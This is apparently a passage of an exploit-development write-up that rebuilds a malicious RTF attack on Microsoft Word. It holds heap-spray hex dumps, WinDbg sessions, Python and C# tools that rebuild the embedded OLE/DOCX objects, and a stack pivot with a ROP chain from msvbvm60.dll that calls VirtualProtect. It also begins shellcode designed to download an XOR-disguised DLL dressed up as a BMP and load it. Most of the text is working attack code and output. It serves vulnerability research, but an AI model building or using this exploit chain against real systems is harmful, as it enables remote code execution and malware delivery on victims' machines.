0x000007f0 ffff ffff ffff ffff ffff ffff ffff ffff ................ 0x00000800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000830 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... [...] 0x00000f20 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00000f30 cb40 9472 d010 9472 8f08 9572 b0dd 9572 .@.r...r...r...r 0x00000f40 908c 8808 0102 0000 4000 0000 45c0 a472 ........@...E..r 0x00000f50 892d 8888 8808 9b9b 33c9 648b 7130 8b76 .-......3.d.q0.v 0x00000f60 0c8b 761c 8b46 088b 7e20 8b36 813f 6b00 ..v..F..~ .6.?k. 0x00000f70 6500 75f0 8bf0 eb57 608b de56 8b73 3c8b e.u....W`..V.s<. 0x00000f80 741e 7803 f356 8b76 2003 f333 c949 41ad t.x..V.v ..3.IA. 0x00000f90 03c3 5633 f60f be10 3af2 7408 c1ce 0703 ..V3....:.t..... 0x00000fa0 f240 ebf1 3975 005e 75e4 5a8b fb8b 5a24 .@..9u.^u.Z...Z$ [...] 0x000010a0 8bc7 b900 0000 008b 1681 f233 33ad bc89 ...........33... 0x000010b0 1783 c101 81f9 5001 0000 7408 83c6 0483 ......P...t..... 0x000010c0 c704 ebe3 ffe0 cccc 2b0e 9872 2b0e 9872 ........+..r+..r 0x000010d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000010e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000010f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r [...] 0x000017d0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000017e0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x000017f0 2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872 +..r+..r+..r+..r 0x00001800 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00001810 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r.... 0x00001820 cb40 9472 ec83 8808 cb40 9472 ec83 8808 .@.r.....@.r....
Lets see how good is this spray. We attach WinDbg to Word after opening the malicious RTF and let it crash again. Then we look for some tag in the sprayed data, such as cb409472d0109472.
0:000> .logopen C:usersuserdesktoph1.txt Opened log file 'C:usersuserdesktoph1.txt' 0:000> s 0 L?+80000000 cb 40 94 72 d0 10 94 72 [...] 0:000> .logclose Closing open log file C:usersuserdesktoph1.txt
In the log file we can observe that the tag was first found in 0x02e80f50, and last found in 0x12eaff50. As we have chosen a tag which is not at the precise beginning of the sprayed data, we have to subtract its offset to obtain the real addresses in which we will find our payload:
0x00000f30 cb40 9472 d010 9472
0xf30 – 0x800 = 0x730
0x02e80f50 – 0x730 = 0x2E80820
0:000> dd 0x2E80820 02e80820 729440cb 088883ec 729440cb 088883ec 02e80830 729440cb 088883ec 729440cb 088883ec 02e80840 729440cb 088883ec 729440cb 088883ec 02e80850 729440cb 088883ec 729440cb 088883ec 02e80860 729440cb 088883ec 729440cb 088883ec 02e80870 729440cb 088883ec 729440cb 088883ec 02e80880 729440cb 088883ec 729440cb 088883ec 02e80890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000 02e81820 729440cb 088883ec 729440cb 088883ec 02e81830 729440cb 088883ec 729440cb 088883ec 02e81840 729440cb 088883ec 729440cb 088883ec 02e81850 729440cb 088883ec 729440cb 088883ec 02e81860 729440cb 088883ec 729440cb 088883ec 02e81870 729440cb 088883ec 729440cb 088883ec 02e81880 729440cb 088883ec 729440cb 088883ec 02e81890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000+0x1000 02e82820 729440cb 088883ec 729440cb 088883ec 02e82830 729440cb 088883ec 729440cb 088883ec 02e82840 729440cb 088883ec 729440cb 088883ec 02e82850 729440cb 088883ec 729440cb 088883ec 02e82860 729440cb 088883ec 729440cb 088883ec 02e82870 729440cb 088883ec 729440cb 088883ec 02e82880 729440cb 088883ec 729440cb 088883ec 02e82890 729440cb 088883ec 729440cb 088883ec 0:000> dd 0x2E80820+0x1000+0x1000-4 02e8281c 72980e2b 729440cb 088883ec 729440cb 02e8282c 088883ec 729440cb 088883ec 729440cb 02e8283c 088883ec 729440cb 088883ec 729440cb 02e8284c 088883ec 729440cb 088883ec 729440cb 02e8285c 088883ec 729440cb 088883ec 729440cb 02e8286c 088883ec 729440cb 088883ec 729440cb 02e8287c 088883ec 729440cb 088883ec 729440cb 02e8288c 088883ec 729440cb 088883ec 729440cb
The contents of activex1.bin can be found once each 0x1000 bytes from the first location where our payload is loaded.
Now we have everything we need to control EIP. We only need to be able to modify some files and build a RTF.
0x04 – Creating the matryoska
We have to manage the following structure in order to modify the relevant files:
RTF CDF/OLE Objeto embebido en RTF DOCX/ZIP Archivo dentro del contenedor CDF XML -> document.xml Archivo que queremos modificar CDF/OLE Objeto embebido en RTF DOCX/ZIP Archivo dentro del contenedor CDF CDF/OLE -> activex1.bin Archivo que queremos modificar
This is the plan:
- 1. Modify the contents of activex1.bin, changing the payload
- 2. Modify document.xml, changing the target address
- 3. Create two new ZIPs/DOCX with the previously changed files
- 4. Create two new CDF files containing the previously created ZIPs/DOCX
- 5. Replace the two relevant objects in the original RTF with the two we have just created
Modifying activex1.bin
To do a quick test we will overwrite the first dword of each repeated chunk (offset 0x800 + N * 0x1000) with 0x41424344
$ cat tag_bin.py import sys if __name__ == '__main__': in_filepath = sys.argv[1] out_filepath = sys.argv[2] f = open(in_filepath, "rb") original = bytearray(f.read()) f.close() begin = 0x800 offset = 0x1000 p = begin while p < len(original) - 4: original[p] = 0x44 original[p+1] = 0x43 original[p+2] = 0x42 original[p+3] = 0x41 p += offset f = open(out_filepath, "wb") f.write(original) f.close() $ python tag_bin.py 00039807.doc/word/activeX/activeX1.bin test.bin $ mv test.bin 00039807.doc/word/activeX/activeX1.bin
Modifying document.xml
We want to replace the address used by the authors of the sample with an address which is valid in our environment:
$ cat replace_offset.py import struct import sys def dword_to_crap(v): # unicode -> utf8 return struct.pack("<I", v).decode("utf-16le").encode("utf-8").encode("hex") def crap_to_dword(v): # utf8 -> unicode return unicode(v.decode("utf-8")).encode("utf-16le") if __name__ == '__main__': whatb = sys.argv[1] withb = sys.argv[2] fpath = sys.argv[3] fdest = sys.argv[4] withv = dword_to_crap(int(withb, 16)) #print ' -> %s' % crap_to_dword(whatb.decode("hex")).encode("hex") print 'Replacing raw utf8 "%s" with %s -> %s' % (whatb, withb, withv) f = open(fpath, "rb") b = f.read() f.close() c = b.replace(whatb.decode("hex"), withv.decode("hex")) f = open(fdest, "wb") f.write(c) f.close() $ python2 replace_offset.py e8a3ace0a288 0x0f8f4820 000538E9.doc/word/document.xml document.xml Replacing raw utf8 "e8a3ace0a288" with 0x0f8f4820 -> e4a0a0e0be8f $ mv document.xml 000538E9.doc/word/document.xml
Creating the ZIPs/DOCX
$ cd 00039807.doc $ zip -D -q -9 -r spray.doc . $ cd ../000538E9.doc $ zip -D -q -9 -r trigger.doc .
Creating the CDFs
We need a library which allows us to modify the contents of this kind of file. We have Python’s olefile, but writing is not fully implemented.
Finally, we decded tu use openmcdf, a C# library. Then we only have to write a simple utility:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using OpenMcdf; namespace cdfreplace { class Program { static void Main(string[] args) { string sourcefile = args[0]; string targetstream = args[1]; string replfile = args[2]; string outfile = args[3]; byte[] replbytes = System.IO.File.ReadAllBytes(replfile); System.IO.File.Copy(sourcefile, outfile); OpenMcdf.CompoundFile cf = new OpenMcdf.CompoundFile( outfile, OpenMcdf.CFSUpdateMode.Update, OpenMcdf.CFSConfiguration.Default | OpenMcdf.CFSConfiguration.EraseFreeSectors | OpenMcdf.CFSConfiguration.SectorRecycle ); OpenMcdf.CFStream st = cf.RootStorage.GetStream(targetstream); st.SetData(replbytes); cf.Commit(); } } }
We rename the original CDF files we extracted at the beginning:
– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -> original_spray.cdf
– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -> original_trigger.cdf
After installing OpenMcdf, we compile our utility. We execute these commands:
$ mono cdfreplace.exe original_spray.cdf Package 00039807.doc/spray.doc spray.cdf $ mono cdfreplace.exe original_trigger.cdf Package 000538E9.doc/trigger.doc trigger.doc
Now we are ready to modify the original RTF file.
Modifying the RTF file
We use our simple tool to replace objects 1 and 2 with the objects we generated in the previous step.
$ python2 rtf.py --input original.rtf --output tmp.rtf --replace 1 --withfile spray.cdf $ python2 rtf.py --input tmp.rtf --output final.rtf --replace 2 --withfile trigger.cdf
PoK (Proof of Kaboom)
After copying test.rtf to our isolated VM, we launch a new WinDbg session:
(de8.944): Unknown exception - code e0000002 (first chance) (de8.944): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - eax=0f8f4820 ebx=00000000 ecx=41424344 edx=00000004 esi=0a8b3f20 edi=0aa27604 eip=702882a6 esp=003349b8 ebp=00334a28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 wwlib!DllGetLCID+0x2e1e1c: 702882a6 ff5104 call dword ptr [ecx+4] ds:002b:41424348=???????? 0:000> ub;u wwlib!DllGetLCID+0x2e1e05: 7028828f 85c9 test ecx,ecx 70288291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (7011eb5e) 70288297 8b4744 mov eax,dword ptr [edi+44h] 7028829a 894844 mov dword ptr [eax+44h],ecx 7028829d 8b4744 mov eax,dword ptr [edi+44h] 702882a0 8b4044 mov eax,dword ptr [eax+44h] 702882a3 8b08 mov ecx,dword ptr [eax] 702882a5 50 push eax wwlib!DllGetLCID+0x2e1e1c: 702882a6 ff5104 call dword ptr [ecx+4] 702882a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (7011eb5e) 702882ae 83f802 cmp eax,2 702882b1 750f jne wwlib!DllGetLCID+0x2e1e38 (702882c2) 702882b3 8d4624 lea eax,[esi+24h] 702882b6 50 push eax 702882b7 52 push edx 702882b8 e893171c00 call wwlib!DllGetLCID+0x4a35c6 (70449a50)
EAX = 0x0f8f4820 and ECX = 0x41424344. It has crashed in a call instruction, which will redirect the execution flow to whatever address we put in the address 0x0f8f4820+4. The only thing left is creating a useful payload.
0x05 – Creating our payload
Lets remember the layout we need in order to control EIP:
Address Value X X X + 4 Target EIP
So, if we use 0x0f8f4820, we have to put at the beginning of the payload the following:
[ 0x0f8f4820, EIP ]
To achieve:
Address Value 0x0f8f4820 0x0f8f4820 0x0f8f4824 Target EIP
How can we turn this into controlled code execution? We have a call to a controlled address. DEP is enabled, so we cannot simply jump to an address in the heap we control.
We have to use ROP, so we need ESP to point to an address in which we can put the address of our gadgets. This is, once again, the heap we are spraying, so we must perform a stack pivot.
Our goal, then, is to set EIP to a sequence of instructions which will make ESP point to somewhere in the heap we can control, possibly just after the two addresses we have used up to this point.
As we saw at the beginning of this post, the only module which is not ASLR enabled is msvbvm60.dll. Lets get the available gadgets:
$ sha256sum libs/msvbvm60.dll 2246b4feae199408ea66d4a90c1589026f4a5800ce5a28e583b94506a8a73dce libs/msvbvm60.dll $ ROPgadget --binary libs/msvbvm60.dll > gadgets.txt
Our environment is the following:
- EAX = payload’s address
- ECX = payload’s address
- Top of the stack: payload’s address (once the call instruction is executed, it will be the return address)
We want:
- ESP = payload’s address + some delta to bypass the first two addresses and leaves us enough space to work comfortably
- To keep a copy of the original ESP just in case we want to restore Word to a sane execution and thus not crash.
Lets see which gadgets allow us to control ESP. We want to avoid those which perform calls or jumps (they may be useful, but after a quick glance there didn’t seem to be any which would allow us to keep going in a simple way).
$ cat gadgets.txt| grep -v call | grep -v jmp | grep -v jb | grep esp | grep xchg [...] 0x7297d562 : je 0x7297d590 ; adc al, ch ; pop ecx ; xchg eax, esp ; add al, byte ptr [eax] ; ret 8 [...]
There are several gadgets matching our conditions, but we chose that one. It starts with a jump, but we can skip it anyway:
$ r2 libs/msvbvm60.dll [0x72941af8]> s 0x7297d562 [0x7297d562]> pd ,=< 0x7297d562 7424 je 0x7297d588 | 0x7297d564 10e8 adc al, ch | 0x7297d566 59 pop ecx | 0x7297d567 94 xchg eax, esp | 0x7297d568 0200 add al, byte [eax] | 0x7297d56a c20800 ret 8
This is what will happen when EIP reaches 0x7297d564:
- EAX = 0x0f8f4820
- ECX = 0x0f8f4820
- EAX = EAX + ECX’s 2nd less weighted byte => EAX = EAX + 0x48 => EAX = 0x0f8f4868
- ECX = return address pushed by the call instruction
- ESP = payload’s address + 0x48 => ESP = 0x0f8f4868
- EAX = old stack address
- EAX = old stack address + [0-0xff]
- ESP = address of the first gadget in our ROP chain
- EIP = address written in the offset 0x48 of our payload (0x0f8f4868 – 0x0f8f4820)
We have to take care of the “ret 8” in the end of the stack pivot, so we will insert 8 bytes of padding between the first and second gadgets.
From now on we are able to execute ROP gadgets. Lets do a quick check, forcing Word to jump to the classic 0x41414141:
import struct import sys p = lambda x: struct.pack("<L", x) heap = 0x0f8f4820 pivot = 0x7297d564 padsize = (heap >> 8) & 0xFF rop = [ p(heap), p(pivot), "a" * (padsize - 8), p(0x41414141) ] payload = bytearray("".join(rop)) payload_size = len(payload) if __name__ == '__main__': in_filepath = sys.argv[1] out_filepath = sys.argv[2] f = open(in_filepath, "rb") original = bytearray(f.read()) f.close() begin = 0x800 offset = 0x1000 p = begin while p < len(original) - payload_size: for x in range(payload_size): original[p + x] = payload[x] p += offset f = open(out_filepath, "wb") f.write(original) f.close()
In WinDbg, we set a breakpoint in our stack pivot:
(2dc.158): Break instruction exception - code 80000003 (first chance) eax=7ef88000 ebx=00000000 ecx=00000000 edx=77b3f142 esi=00000000 edi=00000000 eip=77ab000c esp=0da1f8d4 ebp=0da1f900 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!DbgBreakPoint: 77ab000c cc int 3 0:016> bu 0x7297d564 0:016> g (2dc.a70): Unknown exception - code e0000002 (first chance) Breakpoint 0 hit eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d564 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef24: 7297d564 10e8 adc al,ch 0:000> p eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d566 esp=00494cb4 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef26: 7297d566 59 pop ecx 0:000> p eax=0f8f4868 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d567 esp=00494cb8 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef27: 7297d567 94 xchg eax,esp 0:000> p eax=00494cb8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d568 esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef28: 7297d568 0200 add al,byte ptr [eax] ds:002b:00494cb8=20 0:000> p eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=7297d56a esp=0f8f4868 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286 msvbvm60!IID_IVbaHost+0xef2a: 7297d56a c20800 ret 8 0:000> p eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4 eip=41414141 esp=0f8f4874 ebp=00494d28 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286 41414141 ?? ???
Success.
The next step is executing a shellcode. To do so, we have to put it in a controlled memory address (the same heap page we are working in) and call
VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &old_protect);
Where:
- address: address of the shellcode
- size: size of the memory zone we want to make executable
- PAGE_EXECUTE_READWRITE: we want to assign read+write+execute permissions, which is 0x40 in WinApi language. We’d like to use PAGE_EXECUTE_READ instead, but note that we are using the same memory address both for code and stack, so it must remain writable.
- old_protect: where to save the old memory protection flags
We need the address of VirtualProtect. We might get it from the PEB, but msvbvm60 makes it easier for us. Lets check its imports:
$ r2 ibs/msvbvm60.dll [0x72941af8]> ii~VirtualProtect ordinal=053 plt=0x729410d0 bind=NONE type=FUNC name=KERNEL32.dll_VirtualProtect 0:000> dd 0x729410d0 729410d0 759042ff 75904333 7591e8c5 75925935 0:000> u 759042ff kernel32!VirtualProtectStub: 759042ff 8bff mov edi,edi 75904301 55 push ebp 75904302 8bec mov ebp,esp 75904304 5d pop ebp 75904305 e9becdffff jmp kernel32!VirtualProtect (759010c8)
We have a pointer to VirtualProtect stored at msvbvm60’s 0x729410d0. If we jump here we only have to make sure that we have set up the stack in a way that resembles a proper call:
Top of the stack ---- old_protect ; push arg_4 PAGE_EXECUTE_READWRITE ; push arg_3 size ; push arg_2 address ; push arg_1 siguiente gadget ; call VirtualProtect ---- Bottom of the stack
How do we jump to VirtualProtect? We can look for gadgets containing jumps to registers that we can control:
- Direct to register, such as jmp eax
- Indirect to register, such as jmp [eax]
The second option saves us from having to ROP the dereference, so:
$ cat gadgets.txt| grep "jmp dword ptr [" [...] 0x7295088f : jmp dword ptr [eax] 0x72a3eb27 : jmp dword ptr [ebp - 0x6c] 0x729907a2 : jmp dword ptr [ebx] 0x72a429d8 : jmp dword ptr [ecx - 1] 0x72949a32 : jmp dword ptr [ecx] 0x729eb1db : jmp dword ptr [edi] 0x729eb1e0 : jmp dword ptr [edx] 0x72a21a18 : jmp dword ptr [esi - 0x75] 0x72a00884 : jmp dword ptr [esi - 0x7d] 0x7295cb96 : jmp dword ptr [esi] 0x729eb1ef : jmp dword ptr [esp + esi*2] [...] 0x729914fb : sti ; jmp dword ptr [ecx] [...]
We have plenty of choice here. What registers are we able to control?
$ cat gadgets.txt| egrep ": pop (e[abcd]x|e[sd]i) ; ret" 0x729440cb : pop eax ; ret 0x72992f5e : pop eax ; ret 0x10 0x72a06933 : pop eax ; ret 0x14 0x729c0a9b : pop eax ; ret 0xc 0x72944175 : pop eax ; ret 4 0x7298fa2e : pop eax ; ret 8 0x72941f10 : pop ebx ; ret 0x72991c70 : pop ebx ; ret 0x10 0x72999274 : pop ebx ; ret 0x14 0x72941b4e : pop ebx ; ret 0xc 0x72943255 : pop ebx ; ret 4 0x729459e4 : pop ebx ; ret 8 0x729419f4 : pop ecx ; ret 0x729e1dfc : pop ecx ; ret 0x14 0x72954ecc : pop ecx ; ret 0x7297 0x729e19db : pop ecx ; ret 0xc 0x729ff08b : pop ecx ; ret 0xfff5 0x7294a47b : pop ecx ; ret 4 0x7294464b : pop ecx ; ret 8 0x7294575b : pop edi ; ret 0x729d0fc9 : pop edi ; ret 0x10 0x7294e501 : pop edi ; ret 4 0x7298c1e4 : pop edi ; ret 8 0x729a4421 : pop edx ; ret 0x72941e54 : pop esi ; ret 0x7294a52f : pop esi ; ret 0x10 0x72974c79 : pop esi ; ret 0x14 0x729a32b5 : pop esi ; ret 0x1c 0x729d831e : pop esi ; ret 0x24 0x72945a74 : pop esi ; ret 0xc 0x7294356a : pop esi ; ret 4 0x72945940 : pop esi ; ret 8
We will use EAX. However, it would be convenient to save it somewhere, as at this point it contains the only copy of the original value of ESP. This, however, is left as an exercise.
We have to choose a static address to use as the 4th argument of VirtualProtect. Let’s see where the data section is located:
[0x7297d562]> iS [Sections] idx=00 vaddr=0x72941000 paddr=0x00001000 sz=1032192 vsz=1032192 perm=m-r-x name=.text idx=01 vaddr=0x72a3d000 paddr=0x000fd000 sz=53248 vsz=53248 perm=m-r-x name=ENGINE idx=02 vaddr=0x72a4a000 paddr=0x0010a000 sz=28672 vsz=32768 perm=m-rw- name=.data idx=03 vaddr=0x72a52000 paddr=0x00111000 sz=200704 vsz=200704 perm=m-r-- name=.rsrc idx=04 vaddr=0x72a83000 paddr=0x00142000 sz=65536 vsz=65536 perm=m-r-- name=.reloc 0:000> dd 0x72a4a000 0x72a4a000+28672 [...] 72a4d290 00000000 00000000 00000000 00000000 72a4d2a0 00000000 00000000 00000000 00000000 72a4d2b0 00000000 00000000 00000000 00000000 72a4d2c0 00000000 00000000 00000000 00000000 72a4d2d0 00000000 00000000 00000000 00000000 72a4d2e0 00000000 00000000 00000000 00000000 72a4d2f0 00000000 00000000 00000000 00000000 72a4d300 00000000 00000000 00000000 00000000 72a4d310 00000000 00000000 00000000 00000000 72a4d320 00000000 00000000 00000000 00000000 72a4d330 00000000 00000000 00000000 00000000 72a4d340 00000000 00000000 00000000 00000000 72a4d350 00000000 00000000 00000000 00000000 72a4d360 00000000 00000000 00000000 00000000 72a4d370 00000000 00000000 00000000 00000000 72a4d380 00000000 00000000 00000000 00000000 72a4d390 00000000 00000000 00000000 00000000 72a4d3a0 00000000 00000000 00000000 00000000 72a4d3b0 00000000 00000000 00000000 00000000 [...]
We are looking for some unused space. For example, 0x72a4d300. We will zero out the dword at that address when we are done.
Our ROP chain would be like this:
heap = 0x0f8f4820 pivot = 0x7297d564 pop_eax = 0x729440cb jmp_ptr_eax = 0x7295088f ptr_virtualprotect = 0x729410d0 virtualprotect_size = 0x200 virtualprotect_prot = 0x40 virtualprotect_oldprot = 0x72a4d300 shellcode_address = heap + (padsize - 8) + 48 shellcode = "xcc" rop = [ p(heap), # @0 p(pivot), # @4 "a" * (padsize - 8), # @8 p(pop_eax), # @ 8 + padsize "a" * 8, # @ 12 + padsize ; compensamos ret 8 p(ptr_virtualprotect), # @ 20 + padsize p(jmp_ptr_eax), # @ 24 + padsize p(shellcode_address), # @ 28 + padsize ; retorno de VirtualProtect p(shellcode_address), # @ 32 + padsize ; address p(virtualprotect_size), # @ 36 + padsize ; size p(virtualprotect_prot), # @ 40 + padsize ; new prot p(virtualprotect_oldprot),# @ 44 + padsize ; & old prot shellcode # @ 48 + padsize ]
If everything went OK, after creating the RTF file and opening it with Word, WinDbg should catch the “int 3” we put as a shellcode.
0:015> bu 0x7297d564 (ecc.3d4): Unknown exception - code e0000002 (first chance) Breakpoint 0 hit *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d564 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef24: 7297d564 10e8 adc al,ch 0:000> p eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d566 esp=00644bd4 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef26: 7297d566 59 pop ecx 0:000> eax=0f8f4868 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d567 esp=00644bd8 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef27: 7297d567 94 xchg eax,esp 0:000> eax=00644bd8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d568 esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 msvbvm60!IID_IVbaHost+0xef28: 7297d568 0200 add al,byte ptr [eax] ds:002b:00644bd8=20 0:000> eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7297d56a esp=0f8f4868 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!IID_IVbaHost+0xef2a: 7297d56a c20800 ret 8 0:000> eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=729440cb esp=0f8f4874 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!ThunRTMain+0xb27: 729440cb 58 pop eax 0:000> eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=729440cc esp=0f8f4878 ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!ThunRTMain+0xb28: 729440cc c3 ret 0:000> eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4 eip=7295088f esp=0f8f487c ebp=00644c48 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200282 msvbvm60!Zombie_Release+0x1e36: 7295088f ff20 jmp dword ptr [eax] ds:002b:729410d0={kernel32!VirtualProtectStub (75e342ff)} 0:000> dd esp 0f8f487c 0f8f4890 0f8f4890 00000200 00000040 0f8f488c 72a4d300 729440cc 088883ec 729440cb 0f8f489c 088883ec 729440cb 088883ec 729440cb 0f8f48ac 088883ec 729440cb 088883ec 729440cb 0f8f48bc 088883ec 729440cb 088883ec 729440cb 0f8f48cc 088883ec 729440cb 088883ec 729440cb 0f8f48dc 088883ec 729440cb 088883ec 729440cb 0f8f48ec 088883ec 729440cb 088883ec 729440cb 0:000> u 0f8f4890 0f8f4890 cc int 3 0f8f4891 40 inc eax 0f8f4892 94 xchg eax,esp 0f8f4893 72ec jb 0f8f4881 0f8f4895 838808cb409472 or dword ptr [eax-6BBF34F8h],72h 0f8f489c ec in al,dx 0f8f489d 838808cb409472 or dword ptr [eax-6BBF34F8h],72h 0f8f48a4 ec in al,dx 0:000> g (ecc.3d4): Break instruction exception - code 80000003 (first chance) eax=00000001 ebx=00000000 ecx=f1290000 edx=003fe188 esi=0a45f4d0 edi=0a47cde4 eip=0f8f4890 esp=0f8f4890 ebp=00644c48 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 0f8f4890 cc int 3
The only task left is writing a shellcode. ASM is beautiful, but it is generally more pleasurable to write C. Our shellcode will perform the following actions:
- Download a DLL from somewhere in the internet
- LoadLibrary() the downloaded file
However, downloading a DLL is not the paradigm of stealth. We are going to implement a very naif disguise: we will prepend the 58 bytes of a BMP file to the downloaded file. The rest of the contents will be xor’ed with a fixed value. In pseudoCode:
char url[] = "https://127.0.0.1:8000/asd.bmp"; char download_path[256] = { 0 }; HANDLE hnd, lib; DWORD filesize, nbytes; DWORD tmp; char *dll, *bmp; int (*pwn)(void); URLDownloadToCacheFileA(NULL, url, download_path, 255, 0, NULL); hnd = CreateFileA( download_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARED_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); filesize = GetFileSize(hnd, NULL); bmp = VirtualAlloc(NULL, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile(hnd, bmp, filesize, &nbytes, NULL); dll = bmp + 58; for(unsigned int i = 0; i < filesize; i += 4) { tmp = * ((DWORD *) &dll[i]); tmp ^= 0x1337c0de } SetFilePointer(hnd, 0, 0, FILE_BEGIN); WriteFile(hnd, dll, filesize - 58, &nbytes, NULL); SetEndOfFile(hnd); CloseHandle(hnd); lib = LoadLibraryA(download_path); pwn = GetProcAddress(lib, "doit"); pwn();
We will use NASM to write the shellcode. First of all, we need a simple way to call into the WinApi. This problem was solved time ago and there are known public implementations. We are going to use Metasploit’s one.
Our shellcode starts by defining all the constants we will need. Write in pwn.asm:
BITS 32 ORG 0 MEM_COMMIT: equ 0x00001000 MEM_RESERVE: equ 0x00002000 PAGE_EXECUTE: equ 0x10 PAGE_EXECUTE_READ: equ 0x20 PAGE_EXECUTE_READWRITE: equ 0x40 PAGE_READWRITE: equ 0x04 GENERIC_READ: equ 0x80000000 GENERIC_WRITE: equ 0x40000000 FILE_SHARE_READ: equ 0x01 OPEN_EXISTING: equ 0x03 FILE_ATTRIBUTE_NORMAL: equ 0x80 FILE_BEGIN: equ 0x00
Metasploit’s shellcode is easy to use. When we call a function from the WinApi we usually do the following:
push arg_N push arg_N-1 ... push arg_1 push arg_0 call winapi
